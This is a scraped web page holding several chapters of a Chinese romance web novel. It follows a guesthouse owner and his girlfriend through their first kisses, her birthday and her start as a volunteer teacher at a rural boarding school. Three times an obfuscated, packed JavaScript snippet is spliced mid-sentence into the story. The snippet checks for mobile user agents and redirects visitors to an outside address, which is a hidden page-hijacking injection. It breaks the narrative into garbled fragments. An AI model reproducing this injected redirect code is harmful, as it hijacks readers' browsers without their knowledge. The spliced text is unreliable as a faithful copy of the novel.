这一句话,让两个人不约而同地陷入了沉默,可这种沉默是悸动的,喜悦的,又像是抽干了所有力气,让人身体软得不像样,李惟钧看着姜至稍显羞涩的笑脸,没忍住,也跟着一起笑了,仰着脑袋,肩膀一抖一抖,还不住地深呼吸几下,胸膛起起伏伏。 这就算……表白成功,在一起了吗? 原来是这种感觉吗?醉生梦死,飘飘欲仙,李惟钧说不清楚这是什么感受,只觉得四肢百骸都充盈着美梦成真的激动。 他缓缓抬起手牵住姜至,动作小心翼翼的,牵上那一瞬间,软乎乎的手心让他整颗心脏被填满,而后像是要飞起来,仿佛踩在云端上,手臂都要麻了,他分开姜至的五指,同她五指交缠,两个人的手指以最亲密的方式连接在一起,密不可分。 姜至低着头,轻轻晃着他们牵在一起的手,似乎是想再最后确认一下,“我们算是男女朋友了吗?” 李惟钧捏了捏她的手,说:“嗯,你是我女朋友了,姜至。” 姜至笑起来,怕丢脸,又赶紧低下头。 完蛋了,她好高兴啊,好想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200316|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳起来,好想欢呼。 咧着嘴笑了会儿,注意到手里那束花,就更想笑了,“你这花是什么意思?” 李惟钧双眼微弯,局促地轻叹口气,解释道:“我本来打算在你生日的时候表白的,一定要有一束花,一个正式的场合。” 姜至把额头抵在他的心口,不想让他看见自己不值钱的笑脸,李惟钧接着说:“但现在已经是521了,也是个好日子,刚才比较着急所以就没准备新的花,但这束是我早上刚摘的,还新鲜着。” “那我要把它放在我的房间。”姜至说。 李惟钧应声,“我下去拿花瓶。” “等会儿再去拿。”姜至用额头在他心口撞了下,小声说:“我想要你抱抱我。” 李惟钧摸了摸她的脸,双臂往下环住她的腰,姜至被迫踮起脚尖,贴近他,一下就感觉自己有些喘不上气了,他力气还真大,不过她也没说什么,鼻息间嗅到了他身上好闻的香气,“李惟钧,你身上好香啊。” 其实一直就想说了,他身上这种香味不是洗衣液的味道,闻着也很熟悉,姜至仰起脸,在他颈窝里也嗅了嗅。 李惟钧僵硬着脖颈不动,微不可察地长长呼出口气,视线不经意划过她的眼睛,鼻子,嘴唇,他抿抿唇:“你还记得心相印纸巾吗?是这个的味道,我买了和它味道差不多的香水。” “好像还真的是心相印纸巾的味道啊!”姜至问:“你很喜欢这个味道吗?民宿买的纸抽也都是心相印的。” 李惟钧深深看着她:“上高中一直用,习惯了。” 她挂住他的脖子,脸颊贴在颈侧,“想不到嘛,你还挺念旧的。” 李惟钧没说话,只是再抱紧了些,终于有了落到实地的踏实感。 不知道秒针转动了多少圈,姜至感觉自己的裙子都快干了,他们似乎抱了很久,李惟钧说:“要睡觉了,不然你明早又要跟我赖了。” 姜至恋恋不舍地松开他,嘴巴撅起小小的弧度,李惟钧瞄了眼她的嘴唇,“明天再抱?” 她只能点点头,两个人在房门口分开,那对酣战的小情侣已经休战了,他们肯定度过了一个美好的夜晚,走廊静悄悄,姜至看着他一步三回头地下楼,听见楼下传来关门声,她也回到屋里,坐在床上。 楼下怎么一点声音也没有了呢? 姜至恨不得趴在地上听一听,但那样也太傻了吧,可是她要怎么发泄发泄自己有男朋友的喜悦呢。 更何况,她完全不困啊。 姜至脸红耳热地看着那束花,想到他抱她时结实有力的手臂,极其有存在感的力道,还有他加速的心跳,略红的眼角……随即,她坐不住了,一步一步下楼,越走越确定。 她敲开他的门,李惟钧还没问她怎么了,姜至就抱住他的腰,亲了上去。 他刚才偷瞄她嘴唇好几眼,明明是想亲的。 李惟钧还没从自己有了女朋友这件事中回味过来,他的女朋友转眼又给了他一个大惊喜,唇上的触感柔软细腻,一点点描绘着他的唇形,他浑身都硬了起来,连呼吸都忘了,血液沸腾着,快要把他融化掉。 这是他的初吻。 姜至的脸颊绯红,气息轻轻打在他的脸上,带着她常用的玉兰油的味道,芳香扑鼻,她用一种令他作乱的目光看着他,“嘴巴不要闭那么紧。” 目光暗了下来,李惟钧微张着唇,低下身子朝她的嘴唇再度追过去。 姜至却往后仰,“你刚才也是想亲我的,对不对?为什么不亲我呢?我们都已经是男女朋友了……” 李惟钧的鼻子蹭到了她的鼻尖,脸颊,他承认自己胆怯了,“我怕你觉得太快,怕你觉得我不认真。” 今晚像是做了一场梦,整件事对他来说太梦幻了,他放在心尖那么多年的人就这样来到了他的怀里,他要比任何人都尊重她,珍惜她,他一定要稳稳地捧住她。 所以,他想一步步来。 “姜至,我是真的很喜欢你,也是认真跟你谈恋爱的。” “谁不是呢!”姜至拍他胸膛,“你是不是觉得我很急色?” “没有。”李惟钧摇摇头,急色的从来都是他。 他握住胸前的手,很认真地,正式地问了她一次:“我可以吻你吗,姜至。” 握着她的掌心炙热,还有一层薄薄的汗,他的耳朵也很红,姜至意识到他在紧张,也意识到他是真的把她当作宝贝一样珍视。 她眸光流转,搂住李惟钧的脖颈朝自己压下来。 温热的唇瓣轻柔地吮拭含弄着她的,迎合她的动作温柔,耐心,她闭着眼,脸颊温度逐渐升高,呼吸变得绵长,李惟钧却在这个时候突然闯进来,变了节奏,舌尖挑弄作乱,吻变得有攻击性,她产生了窒息的感觉,鼻息急促紊乱,脚步向后下意识想要退离些,他却没给他这个机会,紧追上去,手臂横在她的腰间,用力把她往身上带,两个人抵在门上唇舌交缠。 姜至舌根都在发麻,但很喜欢这种感觉,她在李惟钧强烈的攻势下变得意乱情迷,身体炽热,腿也软了,有点站不住,李惟钧轻松托起她的大腿,紧接着,她就坐到了桌子上。 李惟钧停下来给了她一个平复的时间,抵着她的额头,沉声说:“至至,嘴巴不要闭那么紧。” 23.盛夏将至(5) 盛夏将至(5) 西途的春雨依然没停,窗户上已经结了一层水雾。 屋里太热了。 姜至整张脸燥得不像样,然而李惟钧的呼吸声却越来越重,一下一下往她耳朵里钻,吮她舌尖的动作也丝毫没有停下来的意思,一下比一下浓烈,在这个绵长又暧昧的吻中,她渐渐失去了呼吸,也失去了主导。 刚才她连着主动了两次,还以为他并不擅长,也不喜欢这种亲密的接触,但现在看来,她男朋友对接吻这件事也并不生疏嘛,一教就会,一点就透。 而且他的耳垂也红透了。 姜至对此隐隐生出些许畅快。 可没一会儿,这种畅快就变成了晕晕乎乎的……困。 她是真缺氧了。 教会李徒弟,吻死姜师傅。 但是李徒弟进化的也太快了吧。 “我嘴巴好酸。”姜至微张着唇,赶紧喘了几口完整的气。 李惟钧看着她唇边的水光,指腹慢慢蹭过去,挪到唇角却突然停下,眼底欲色全然没有散去,又低下头吻住她。 姜至怔了下,还没从那股晕乎劲儿当中缓过来,实在顶不住了,“……你停下,先停下!让我再缓缓。” 李惟钧亲亲她的脸颊,嗓音还是低的,“不会呼吸?” “你!”姜至和他对视着,感觉他下一秒又要朝她压下来了,于是移开眼,滚烫的脸颊贴着他颈侧的皮肤,绵软的身体靠着他,轻声嘟囔:“是你太。” 后面两个字她没好意思说出口。 李惟钧笑着接话,“不好意思,那我下次轻点儿,好吗?” 姜至没回答,盯着他上下滑动的喉结,带着点儿恶作剧意味,泄愤似的,在上面刮了下。 不仅想刮,还想亲。 罢了,这都是人之常情。 然而,某人却丝毫没有管自己男朋友死活。 像是被按下暂停键,李惟钧压抑着某种冲动,忽然不动了。 到底该不该让她睡觉呢。 这个问题李惟钧只思考了一秒,很快便交出了答案。 落在背上的手把她往怀里推了推,光滑的缎面鱼尾裙摩擦在桌面上,裙摆被堆到膝盖上,露出白皙的小腿,很快,迭满青筋的大手握住她的膝盖,分开。姜至无法动弹了,他们体型差得太大,她刚才在他喉结上作乱的手此刻完全推不动他,只能任由李惟钧挤进来,劲瘦的臀胯紧贴着她大腿内侧。 裙子又往上挪了几寸。 李惟钧的目光从她的腿上略过,“这两天都要下雨,光着腿不冷吗?” 姜至摇摇头,手心开始冒汗。 她意识到自己干坏事了,眼睛放在他肩膀的肌肉线条上,又缓缓移到膝盖上的手上,他也很热,掌心滚烫,指关节是粉的,她忽然想起一句话,脑子嗡一下烧起来了,含蓄道:“要睡觉了,你不是怕我明早跟你赖床吗。” 李惟钧摩挲着她的膝盖,克制着没再往上动,沉声说:“小姜老师,再带我练习一下。” “练习什么?”她抬起头。 “我这次轻点,好不好,”他捧住她的脸颊,不让动,随后再次伏腰,吻住她之前,说:“至至,你可以随时叫停。” 话是这么说,他却没有给她任何出声的机会。 姜至早上醒来一照镜子,嘴都肿了,抿一抿还有点疼。 这哪还用得着口红啊…… 不能再想了,再接着想连腮红也不用打了。她挑了支润唇膏抹上,刚一打开房门,就看见李惟钧抬着手,似乎是想敲门喊她起床。 李惟钧上前抱了抱她,“今天没赖床。” 姜至仔细看着他的脸,神采奕奕一点倦意也没有,问他:“你几点起的?” “没注意看时间,要不要早安吻?” 姜至嘟起嘴,含糊不清地说:“就亲一下哦,我的嘴都有点肿了。” 他笑着,轻轻碰了下,牵着她走下楼,“我熬了小米粥,加了郑阿姨自己种的南瓜,待会儿喝一碗再走?” 熬粥一时半会儿可弄不好,姜至讶然:“你不会是没睡觉吧。” 李惟钧说:“眯了一会儿,不是很困。” 其实确实一整晚没睡着,最后一次亲完,姜至在他怀里不停地喘气,理智和身体都告诉他不能再亲了,他把人抱回房间哄睡之后,到浴室冲了个澡然后躺到床上盯着天花板,却彻底不困了。 姜至就在他楼上那张床上酣睡,睡前还搂着他的脖子蹭了蹭他的脸,他很喜欢这样亲昵的动作,她的脸虽然很小,但有肉,很软,她的嘴唇也很软,当他双臂撑在她身上,贴着她柔软的脸颊时,本来平静下去的东西又让她蹭起来了。 人都很贪心,李惟钧在黑暗中想。 得到了一些东西,就会得寸进尺地想要更多,姜至可能不知道在她面前他也会有很多可耻的想法,他才是急色的那一个,想要的是她的全部,会疯狂地想要占有她。 这个夜晚,李惟钧狼狈地在窗户前吹了半天冷风,又把民宿从里到外都收拾了一遍,天亮后,抢了郑阿姨的活儿做好早饭,照常叫姜至下楼,但站在她房门前的心情却大不相同。 比以往要紧张,激动,幸福。 在姜至打开门后,他也终于可以如愿以偿地拥抱她,亲吻她了。 …… 到公司,姜至向校长提了辞职,教务组锁了她的课表,高考结束后她得离职准备参加六月份的西部计划笔试。 西途的选拔流程很快,姜至的笔试面试和体检都很顺利,随之而来的就是公示和报到,报到前有将近一个月的空闲时间,李惟钧决定先带姜至把西途玩个遍,而且马上就要到她的生日了,恰好就是在夏至的前一天,六月份西途来了很多刚刚结束高考的高中生,民宿每天都很热闹,她想在民宿和大家一起过个热闹的生日。 姜至的人缘很好,在高中生里的人缘尤其好,她长得漂亮,能说会道,喜欢一切新潮的东西,会给女孩子拍美照,会剪视频,还会打游戏,每天晚上都带着他们五排上分,一来二去,每一波高中生离开民宿前都很舍不得姜至,有人夸她热情,有人夸她温柔,她还在生日前夕收到了很多他们提前送的生日礼物。 高越冬还调侃姜至:“小姜姐,现在订房平台的评论区都没单独夸过钧哥了,都在夸你这个老板娘,要是夸他也得顺带着捎上一句祝老板和老板娘百年好合。” 老板和老板娘的恋情在盛夏将至是一件经常被人调侃的事,到底是从谁嘴里传出去的呢?姜至也不太清楚,只知道521当天晚上下班回来,这件事在民宿里就已经不是秘密了,姜至原本也没打算藏着掖着,既然大家都知道了,她就更大方地跟李惟钧谈起了恋爱,他们一起穿情侣装,用情侣洗漱用品,情侣茶杯,情侣手机壳,就差没换情侣头像了,很幼稚。 好多老顾客过来住店,见她第一面就上来叫嫂子,弟妹,把她吓了一大跳,最后都被李惟钧严辞纠正了过来,随后他们一拍大腿,对!没结婚呢怎么能管人家姑娘喊嫂子弟妹啊,这不是占便宜吗,于是话头一转,又说李惟钧你小子有福气,会找女朋友! 自然而然的,话题就转移到姜至身上来了,李惟钧被晾到一边,只有伺候姜至的份。 想想也是,最开始评论区都是在夸他,就连她自己也是被那些评论吸引到盛夏将至的,谁想到没多久,被夸的人就变成了她。 吸引人的人也变成了她。 姜至目光狡黠,抬脸跟李惟钧说:“把你风头抢了,不好意思啊小李老板。” 喜欢姜至是一件自然而然的事,也可以说,接近她,喜欢她,是李惟钧的一种不自觉的本能。 李惟钧笑得格外淡然,“抢就抢吧,你是姜老板呢。” “我就说你让我入股是居心不良!” 李惟钧只是笑笑,不置可否。 他把目光放在姜至收到的那些小礼物上。 太多零散的东西,也并不值什么钱,姜至却跟宝贝一样收藏着,还说礼轻情意重,贵贱不重要,重要的是祝福。天天都会把那些东西翻出来看一遍,因为还没腾出空间去摆放,就暂时把它们整整齐齐放到了收纳箱里,就好像是高中那样。 姜至非常招人喜欢,这一点李惟钧从高中就知道。 高一那年她过生日就收到了很多礼物,活动课那天她把礼物全收到书包里交给了她妈妈。 其实那天,他本来也打算送的。 一中食堂很实惠,2011年,一顿午饭7块钱就能吃饱,而且还有荤有素,但是学校超市却很坑人,除了大家常用的文具之外,其他东西都要比外面的超市贵很多,所以他很少从学校超市买什么东西,那阵子李承良得还债,他手头确实也没什么闲钱在超市买东西。 他是偶然间才听说姜至要过生日的,便提前攒了几天钱,在超市用饭卡刷了30块,买了一个很好看的手帐套盒送给她,但却在送出去之前,看到了她提的书包里满满当当全是收到的礼物,比他的要精致很多很多。 李惟钧忽然就送不出去了,背着手,死死把那个套盒藏在背后,甚至在姜至问他有什么事情时,他紧张的连一句生日快乐也说不出口。 那瞬间,李惟钧内心感到无比复杂,他一边唾弃自己不应该用李承良拼死拼活抬玻璃挣出来的钱来满足自己那点见不得光的喜欢,又一边遗憾自己为什么不敢送出去呢? 或许是自卑和窘迫吧。 他觉得姜至应该要得到最好的。 * 那时候,生活所迫,总认为贵的就是好的,可他没有能力送出贵的东西,所以一直以来从没送过姜至什么,但现在有能力了,却还是觉得无论送什么都不够。 姜至是他唯一喜欢的女生,他其实很不会喜欢人,也没有任何经验,所以总是想要给姜至他能给出的一切。 但看到她如此宝贝那些高中生送她的小玩意儿才意识到,自己有点过于紧绷了。 姜至是个很感性的人,对自己喜欢的东西,几块钱也能笼住她的心,她再瞧不上的东西,多贵也不稀罕。 夏至的前一天是姜至生日,李惟钧提前准备了很多食材,最近天气暖和了不少,他们打算晚上露天烧烤,最近这个时段是旅游高峰期,李惟钧在民宿加了床位做青旅,因为收费不高,吸引了很多地方的大学生和高三毕业生来住店,除了这些年轻人,还有来旅居的影视编剧,几个被快节奏生活累到的普通白领,被老板压榨的牛马程序员,和一个带着狗来自驾游的大叔…… 这些来自天南海北的人聚在一起,烤着肉,时不时应和一下某个人聊起的话题,然后突然在某个点上哄然大笑,就这样热热闹闹的给姜至过了24岁的生日。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李惟钧伸手环住她的腰,脑袋埋在她颈窝里,语气听上去却有点低沉,不知道是不是喝了酒的缘故,“喜欢就好。一直在想要送你最好的,害怕这些不够好。” 姜至皱了皱眉,“为什么会这么想呢?” 很快,她揉了揉李惟钧滚烫的耳朵,调侃道:“看来你好喜欢我啊,李惟钧。” 姜至找不出别的理由了。 “喜欢”才会让人变得小心翼翼。 李惟钧搂紧了她,闷笑出来:“对啊,我就是很喜欢你。” “那你是什么时候开始喜欢我的?” 李惟钧默了默,却没有给出一个准确的时间,只说:“很早。” 姜至想起来之前八卦他的感情问题,他说他喜欢又热情又温柔的,还说他喜欢的人是块宝,他还跟郑阿姨夸过她是块宝。 怪她太迟钝了! 原来,她在李惟钧的眼里就是温柔和热情的结合体吗?她自己都不知道自己有这两种特点。 “我知道了!”姜至自认为发现了他的小秘密,非常得意地哼笑两下,“你私下跟郑阿姨夸我是块宝的时候就已经喜欢我很久了对吧!” 李惟钧不答,反问她:“那你是什么时候喜欢我的?” 姜至却说不上来。 她愣神的时候,李惟钧起身,揽过她的大腿盘在自己腰侧,退后两步,坐到沙发上。 他笃定道:“姜至,我喜欢你比你喜欢我要早。” 要早很多很多年。 姜至也没办法立刻说出来她到底是什么时候开始喜欢李惟钧的。 喜欢上李惟钧似乎很潜移默化,他一点点住进心里,等发现的时候,整颗心都已经是他了。 姜至捧住他的脸,弯着眉眼,“但是我喜欢你和你喜欢我是一样多的哦。” “嗯。”他含笑应声,身体迎上去,吻住她。 姜至被他亲了两下,有点没骨头似的趴在他胸膛上,脑子迷迷糊糊间还没忘记一件事,她偏头:“不要了,你不要咬我……” 李惟钧说:“是你先咬我的。” 还真是她先动的嘴,姜至蹭蹭他的脸,转移话题,“你没喝醉的话我们出去吧,大家都还在外面呢。” 李惟钧在她唇上啄了下,嗓音暗哑,“那不亲了?” 虽然只是啄了下,但姜至能感觉到力道要重一些,唇上酥酥麻麻的,他还是咬她了。 怎么净学这种不三不四勾引人的招数? 姜至有点幽怨地捂着嘴,“你都跟谁学的?” 李惟钧老神在在瞧着她。 姜至心想那我也没像你这样过分呀,两只膝盖往后挪了挪,想从他腿上下去,他忽然又勾住她的腿,往身上一扯。 李惟钧不想就这么轻易地放她走,好不容易有个二人世界,心里那点儿不怎么强烈的占有欲忽然在这一刻全冒了出来,看来以后不能喝太多酒。 姜至整个人都扑到了他身上,两条腿在他身侧岔开,直接结结实实坐到了他腰腹上。 “再亲几分钟?”他摸摸她的唇角,眼神缠缠绵绵,盯着她的嘴唇。 姜至却垂着眼说:“那我还走得了吗。” 李惟钧轻笑:“至至,我什么时候说话不算话?” 她眼一闭,红透的脸埋在他怀里,“你硌住我了。” 24.盛夏将至(6) 盛夏将至(6) 那句话刚说完,原本暧昧的氛围顷刻间变了调。 人都有生理需求,姜至也不例外,压力大的时候偶尔会用玩具疏解,但现在对象换成李惟钧,她好像手脚都不知道该怎么放了,意识好像要飘走,硌住她的地方很明显,让人想忽略都难,夏天的衣物轻薄,她察觉到李惟钧腰腹越来越紧绷,呼吸声也越来越重。 李惟钧的目光掺杂了别的东西,他偏头,草草在她唯一露出来的耳朵上亲了下。 某个在他怀里装蒜的人耳朵噌一下红了。 稀奇,每次他们接吻时,耳朵红的人都是他,姜至看见了就捏着他的耳朵调侃:怎么会这么红呢? 没想到现在轮到他调侃她了。 他拍拍某人后腰,“还不走?” 姜至稍稍抬起脸,视线落在李惟钧脸上。他还有反应,格外有存在感地顶着她,姜至看了他一会儿,看的李惟钧受不了了,情绪异常浓烈,眼睛一闭,后脑勺靠在沙发上,无奈地笑:“刚才还吵吵着出去,怎么现在我让你出去又不动了?” “那我就不管你了?”姜至咬着唇,指尖在他锁骨上画圈,小声说:“你怎么办?” 李惟钧倏然睁开眼,颠了下腿,她顺着他的动作起来,又重重坐下,他自虐般紧盯着她的脸,调笑道:“至至,你有点马后炮了。刚才撩我的时候也没考虑过我啊。” 马后炮说:“那我走了。” 李惟钧不说话,眼神肆无忌惮地朝她扫过来。 “你自己能解决吗?” 女朋友太好奇有时候也不是一件好事。他反问:“我要是自己解决不了呢?” “……” 姜至又趴在他耳边不知死活地好奇:“你自己的时候有没有……过?” 他瞧了她片刻,“以后就有了。” 姜至愣了下,品出来什么意味后,在这句话当中败下了阵,他以前这么清心寡欲的吗?跟她相比,她男朋友真是个恋爱白痴。 不过,她刚才到底都问了他些什么东西啊。 实在太羞窘了,姜至低下头,却又猝不及防看到了他的渴望,李惟钧忽然扣过她的后脑勺,吻住她的唇,堵住她接下来一切过分的,直接的问题。 舌尖被搅得一塌糊涂,姜至什么也问不出来了。 * 盛夏到来之前的西途非常舒服,气温不高不低,太阳也柔和,李惟钧把小院的酒吧开了,高越冬小时候学过乐器,赵理明会唱歌,李惟钧连驻唱也不用请,那两个人一有空就跑外面弹琴唱歌,有时候客人还会把酒吧当成卡拉OK唱民谣,盛夏将至从早到晚迎来送往,每天几乎都有客房预定,每个人都挺快乐。 姜至却有了新的愁绪,录用公示期已经过了,她马上就要到服务地报到,这两天一直在思考要不要从盛夏将至搬走,她占了一间房,民宿就得少住两个人,但要是搬走的话,又得重新熟悉新环境,离李惟钧也就远了。 没想到这件事情如此难以取舍,记得刚来盛夏将至时,她还在想她总有一天会搬走,不会在这里长住的,可到底是心境变了,有了放不下,舍得不的人,真当那一天到来,她已经完全没有那时候的果断和干脆了。 李惟钧对这件事倒是挺洒脱,他说:“想住就住,不要怕少一两个住客会怎样,那损失不了多少钱。” “也不是,”姜至说:“乔映谣说支教的小学在良平县远郊,离这里比较远,我怕到时候上下班通勤时间太长了。” 李惟钧看着她,“那就住过去?” 姜至没有立刻回答他。 这么多年,姜至自己可能都不知道她有很多小习惯,譬如吃饭时一定要追剧,但有时候经常不知道该看什么,总是在饭快吃完的时候才找到想看的;接吻时喜欢咬人;拥抱时一定要先跟他面贴面脸颊蹭几下;跟人耍心眼之前会憋不住偷笑;犯懒的时候几步路都不愿走,总是借口说自己腰酸背疼腿抽筋耍赖要他背或抱。 还有,她很少闹小脾气,但每次闹起来都会把“不高兴”三个字写在脸上。 李惟钧牵住她的手,在手心里攥了攥,“姜至。” “怎么了?”她照常应了声,语气听上去也很平常,却没看他。 李惟钧不怎么会哄人,尤其不会哄姜至,思来想去,把人拉进自己房间里,用最简单的方式—— 抱住她,说:“至至,你要告诉我。我从小到大都不太会表达,所以你觉得我哪里做得不好的话,要告诉我。” 也不知道刚才从哪里冒出来那么多小性子,心里跟堵了口气一样闷闷的,姜至抿着嘴,环住他的腰,“你怎么一点都不舍不得我?” 李惟钧顿了下,没想到会是这个答案,他松开姜至,“你怎么知道我不会舍不得你?” 姜至揪着他心口的衣服,“我纠结那么多天,你倒是利落。说不搬就不搬,说搬就搬。” “我刚刚话还没说完,”李惟钧按住她作乱的手,“你不搬我也不搬,你搬我也搬。” 姜至猛地抬起头,反应了几秒,嗫嚅道:“什么?” “还没带你去我们的科技公司参观过,那边离良平近,至少比民宿近,你要是搬到教师宿舍我就和你一起走。” 心头堵着的闷气好像一下子就散了,姜至脑子有点乱,竟然不知道该从哪句话说起,挂在他身上,“对不起啊,我是不是有点作?” “作我也喜欢。”他亲亲她。 她心软软的,“那你搬过去住哪儿?公司吗?” “嗯,有休息室,里面家电都是齐全的,不用担心。” 姜至摇头,“那也还是不要了,公司总归不是家,住着不舒服。” “我也很舍不得你走。”李惟钧捧着她的脸,说了实话:“但又想到你要是工作的话还得来回来去跑,现在夏天还好说,冬天天气冷,起床困难,你会睡不够的。” 考虑得好周到啊,姜至笑了,“你操心的比我还多,显得我像个恋爱脑。” 李惟钧也笑了,“不是恋爱脑。其实你心里早就决定好要怎么做了,不过只是想听我一句挽留。” 他弯下腰,把姜至架在手臂上,彼此的呼吸交错打在脸上,视线也交错着望进对方眼底。 李惟钧的吻很少这么温柔,似乎是在哄她,细细密密的吻落在她的眉眼,鼻尖,脸颊,下巴,也不知道到底是在哄她还是在勾引。 滚烫缠绵的吻落在嘴唇之前,他说:“我们姜至是个高需求宝宝。” …… 七月中旬,姜至正式开始培训,这次西部计划把她分到了一所叫“良平自治县谷黎民族寄宿制小学”的学校,位置比较偏远,从县里去学校还得坐45分钟的公交车,所有支教老师周一到周五在学校和学生一起住宿舍,周末可以回县里的公租房。 李惟钧开车把姜至送到了集合点,要和其他老师坐校车一起去学校,路上大家聊天,姜至能明显感觉出来有些老师对支教并不抱有太大热情,是拿这件事当作考公考编的跳板。听他们聊天,她还以为要去的谷黎小学环境很不好,但车一开进学校门口,姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个老师也是清潭的,比她小两岁,不过不是西部计划的志愿者,而是研究生支教团的志愿者,恰好跟他们分到了同一个学校,姓焦,叫焦雨彤,“我刚才问过了,他们这里的自来水就是黄色的,跟咱们那边不一样。” 其他老师纷纷应和:“不会吧,不能洗澡就算了,居然也不能刷牙洗脸?难不成还得跑大老远去打饮用水洗漱?” 姜至到洗漱间看了眼,水真的有些轻微发黄,但闻上去也没有任何异味。 虽然心理上有点难以接受,但这里的孩子都在用水龙头的水洗漱,姜至说服自己习惯就好,转头要走时,几个小女孩站在她身后正瞧着她,没预料到她会突然转身,一个个都局促不安地愣住了,姜至叫住她们:“怎么还不回宿舍睡觉呢。” 几个小女孩你看看我我看看你,没人敢出来说话,也没敢看她,或许是不好意思。 谷黎小学没有统一的校服,学生们穿的都是自己的衣服,面前这几个小女孩的衣服都有些旧了,短裤洗得发白,还有个学生的衣服明显不合身,穿在身上肥肥大大的,短袖都快变成七分袖了,应该是她家大孩子穿不了的衣服。 姜至蹲下身,笑着问:“你们是几年级的?” 穿七分袖的学生说:“四年级的。” 姜至说:“我正好是四年级的语文老师,今天刚来,我姓姜。” 她双腮都羞红了,怯怯叫了声:“姜老师好。” “你叫什么呢?”姜至问。 “罗珠。”她说。 姜至点点头,“罗珠,快和同学们去睡觉吧,明早还要起床上课呢。” 罗珠应声,很快和其他孩子一起跑上楼了。 姜至看着她们上楼,心想,这里的学生看上去都很听话,女学生更是腼腆,虽然她没怎么跟小学生相处过,但教小学生能有多难呢? 25.盛夏将至(4) 盛夏将至(4) 姜至向前几批支教老师取了经,这里的学生基本都是留守儿童,父母都不在身边,大多数跟着祖辈一起住,生活上早已独立,甚至有的人周末放假还要帮家里收庄稼,性格也比城里的学生成熟敏感,但这些学生平时在学校还是很调皮天真的,不难相处。 所以,除了必须在短时间内快速把四年级语文课本全部吃透,认真备课以外,姜至觉得一切事情都不算难,她很乐观地想,课讲不好才是最大的问题。 凑巧的是,他们参培正好赶上学生期末考试放暑假,不用上课,可以全身心琢磨课本。 而且这次期末考试结束之后,上一批来支教的6个老师就要离开谷黎小学。放假当天,校长在食堂组织了聚餐送行,校车停在学校门口,吃过午饭直接就能送他们去车站。 中午,姜至和其他参培老师一起到食堂帮校长打下手,午饭是校长一个人承包的,炖了很多大块牦牛肉,还煮了一大锅羊汤,这边主食是糌粑,但有很多外地来的老师都吃不惯,所以校长还做了一些花馍馍和锅盔。 饭做好,有个老师却还没到,主角不到不好动筷子,校长正要去宿舍楼喊她一声,还没出门,就听见食堂外头有孩子哭,刚开始只是几个孩子,一眨眼的功夫,就传来此起彼伏的哭声。 校长掀开帘子就往外跑,屋里其他人也都跟了出去,走了两步,又都不动了。 透过三三两两的人群,姜至看见操场上,学生把年轻的老师围了里三圈外三圈,几乎每个孩子都在抹眼泪,一边嚎啕大哭一边说: “周老师你还会回来教我们吗?” “周老师你能不能别走……” “周老师你回家会不会就把我忘记了?” 看来都是三年级的学生,站在边缘的罗珠整张脸都红了,紧抿着唇,瘦小的身体哭得一抽一抽。 被围在正中间的周老师蹲下身,给这个擦完眼泪又给那个擦,擦着擦着自己也哭了,然后就变成了学生给老师擦眼泪。 这是姜至在西途见证的第一场离别,与她无关,却让她心里很复杂。 汽车遥遥远去,变成了一个模模糊糊的点,直到最后消失不见,学生们才恋恋不舍地放下摇晃的双手,停下追逐的步伐,在正午浓烈的日光下,大汗淋漓地盯着老师离去的方向。 谷黎小学见证了一个又一个支教老师来来往往,弯弯曲曲的乡间小路也见证了很多人的成长。 这瞬间,姜至看着那些学生怅然若失的目光,忽然感觉到支教这件事恐怕没想象中那么简单。 她的预感在新学期得到应验。 九月一号开学,上午第一节就是语文课。姜至抱着满怀热情和记了满满当当笔记的课本站到四(一)班门口,深呼了好几口气才把那股紧张感盖过去。 屋里沸反盈天,有些学生手舞足蹈不知道在讲什么,有些学生满屋子乱窜,但一看见她就不动了,笑容收了,嘈杂的说话声也渐渐停了。 姜至站在讲台上,三十多双稚嫩的眼睛直勾勾朝她投来打量。 讲台下的学生脸蛋个个晒得通红,皮肤也晒得黝黑,眼神却清澈有力量,看着完全就是一群活力满满的孩子,只不过现在的活力暂时被她这个新老师的到来给压住了。 姜至往黑板上写了自己的名字,让自己的表情和颜悦色起来,“同学们好,我是你们这学期的语文老师,我叫姜至。” 台下没反应。 周老师回家前跟她做了交接班,说了说这些孩子的基本情况,但姜至发现此刻面对的现实和周老师口中的描述一点也不一样,她在他们的脸上环视一圈,怔了一秒,脸上扬起的笑容浅淡了些,低头找花名册点名。 罗珠就在这个班,她个头小,被安排在教室前排,也是为数不多的,一直用平常目光看她的学生,而其余的学生…… 姜至第一节课没有讲什么重要内容,先让学生做了遍自我介绍,这个环节倒是把班里气氛调动起来了,有几个调皮的男孩子插科打诨,搞得教室里哄堂大笑。 但一轮到她这个老师说话,气氛一下又蔫了回去,下课,走出教室那一瞬间,屋里立马就恢复了上课前的喧哗,姜至看着他们熟稔的打闹,忽地明白了他们看她的眼神中到底是什么—— 是陌生,抵触。 第二节第三节,剩下两个班的情况亦是如此。 其他老师上第一节课,学生们都逮着人问东问西,唯独她,收到的反馈是抵触。 姜至没想到熬过生活环境的不适,熬过备课的麻烦,打倒她的却是曾认为最简单的上课。她有点心累,上了三节课全是自己在唱独角戏,上课前还挺胸有成竹,结果越上越慌,越上越没劲,连她自己都觉得没劲,那学生肯定更没劲。 下午没课,姜至去找校长要那些班之前的公开课视频,看完,觉得她们的上课形式也没什么区别,但是收到的学生反馈却大相径庭。 